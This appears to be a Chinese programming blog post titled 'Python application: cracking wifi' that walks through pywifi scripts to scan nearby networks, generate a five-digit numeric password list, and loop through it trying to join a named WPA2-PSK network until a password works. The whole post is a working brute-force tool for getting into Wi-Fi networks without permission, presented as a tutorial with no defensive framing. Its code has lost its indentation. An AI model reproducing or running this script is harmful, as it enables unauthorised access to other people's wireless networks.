您的位置:首页 > 编程语言 > Python开发

python应用-----破解wifi

2018-07-20 19:12 549 查看

1、程序需要的模块

pywifi

2、第一步

创建一个wifi.py程序

[code]import pywifi
from pywifi import const  #引用一些常量
#判断是否已经连接到wifi
def gic():
#创建一个无线网卡
wifi=pywifi.PyWiFi()
#获取到第一个无线网卡
iface=wifi.interfaces()[0]
#列表
# print(iface.name())
#打印网卡连接状态
if iface.status()==const.IFACE_CONNECTED:
print("已连接")
else:
print("未连接")

# gic()
# 扫描附近wifi
def bies():
wifi=pywifi.PyWiFi()
ifaces=wifi.interfaces()[0]
# 扫描wifi
ifaces.scan()
# 获取扫描结果
result=ifaces.scan_results()
for data in result:
print(data.ssid)
# print(result)

bies()

 

程序实现创建一个无线网卡(注:台式电脑没有自带无线网卡 程序可能报错)

扫描并显示附近wifi

第二步:创建密码本

密码本可以在网上下载,也可以自己写

[code]import itertools as its
# 迭代器

words="1234567890"
r=its.product(words,repeat=5)
# 保存到文件中
dic=open("pass.txt","a")
for i in r:
dic.write("".join(i))
dic.write("".join("\n"))
dic.close()

生成的密码本

 

第三步:

# 导入模块
# 抓取网卡接口
# 断开所有wifi
# 读取密码本
# 设置睡眠时间
# 测试连接
[code]import pywifi
from pywifi import const
import time
# 导入模块
# 抓取网卡接口
# 断开所有wifi
# 读取密码本
# 设置睡眠时间
# 测试连接

# 测试连接 返回连接结果
def wificonnect(psd):
# 抓取网口
wifi=pywifi.PyWiFi()
iface=wifi.interfaces()[0]
print(iface)
#断开所有连接
iface.disconnect()
# time.sleep(1)
wifistatus=iface.status()
if wifistatus==const.IFACE_DISCONNECTED:
# print("未连接")
#创建wifi连接文件
profile=pywifi.Profile()
#wifi名
profile.ssid="aemaer"
#网卡开放
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP
#密码
profile.key=psd
print(psd)
#删除所有WiFi文件
iface.remove_all_network_profiles()
#设置新的连接文件
tep_profile=iface.add_network_profile(profile)
iface.connect(tep_profile)
time.sleep(0.5)
if iface.status()==const.IFACE_CONNECTED:
return True
else:
return False

else:
print("已连接")

# wificonnect()

def read_password():
print("开始破解:")
path="D:\\PyCharm 2017.2\wifi破解\pass.txt"
file=open(path,"r")
while True:
try:
passStr=file.readline()
# print(passStr)
bool=wificonnect(passStr)
if bool:
print("密码正确",passStr)
break
else :
print("密码不正确",passStr)
except:
continue
read_password()

程序还可以进一步完善

 

 

阅读更多
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: